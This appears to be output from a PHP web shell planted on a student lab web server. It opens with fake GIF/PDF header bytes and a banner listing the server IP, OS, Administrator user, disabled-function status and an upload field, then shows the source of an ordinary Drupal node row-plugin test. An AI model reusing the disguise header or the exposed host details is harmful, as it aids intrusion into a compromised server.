GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/node/src/Tests/Views/ |
Upload File : |
<?php namespace Drupal\node\Tests\Views; use Drupal\views\Views; /** * Tests the node row plugin. * * @group node * @see \Drupal\node\Plugin\views\row\NodeRow */ class RowPluginTest extends NodeTestBase { /** * Modules to enable. * * @var array */ public static $modules = ['node']; /** * Views used by this test. * * @var array */ public static $testViews = ['test_node_row_plugin']; /** * Contains all nodes used by this test. * * @var array */ protected $nodes; protected function setUp() { parent::setUp(); $this->drupalCreateContentType(['type' => 'article']); // Create two nodes. for ($i = 0; $i < 2; $i++) { $this->nodes[] = $this->drupalCreateNode( [ 'type' => 'article', 'body' => [ [ 'value' => $this->randomMachineName(42), 'format' => filter_default_format(), 'summary' => $this->randomMachineName(), ], ], ] ); } } /** * Tests the node row plugin. */ public function testRowPlugin() { /** @var \Drupal\Core\Render\RendererInterface $renderer */ $renderer = $this->container->get('renderer'); $view = Views::getView('test_node_row_plugin'); $view->initDisplay(); $view->setDisplay('page_1'); $view->initStyle(); $view->rowPlugin->options['view_mode'] = 'full'; // Test with view_mode full. $output = $view->preview(); $output = $renderer->renderRoot($output); foreach ($this->nodes as $node) { $this->assertFalse(strpos($output, $node->body->summary) !== FALSE, 'Make sure the teaser appears in the output of the view.'); $this->assertTrue(strpos($output, $node->body->value) !== FALSE, 'Make sure the full text appears in the output of the view.'); } // Test with teasers. $view->rowPlugin->options['view_mode'] = 'teaser'; $output = $view->preview(); $output = $renderer->renderRoot($output); foreach ($this->nodes as $node) { $this->assertTrue(strpos($output, $node->body->summary) !== FALSE, 'Make sure the teaser appears in the output of the view.'); $this->assertFalse(strpos($output, $node->body->value) !== FALSE, 'Make sure the full text does not appears in the output of the view if teaser is set as viewmode.'); } } }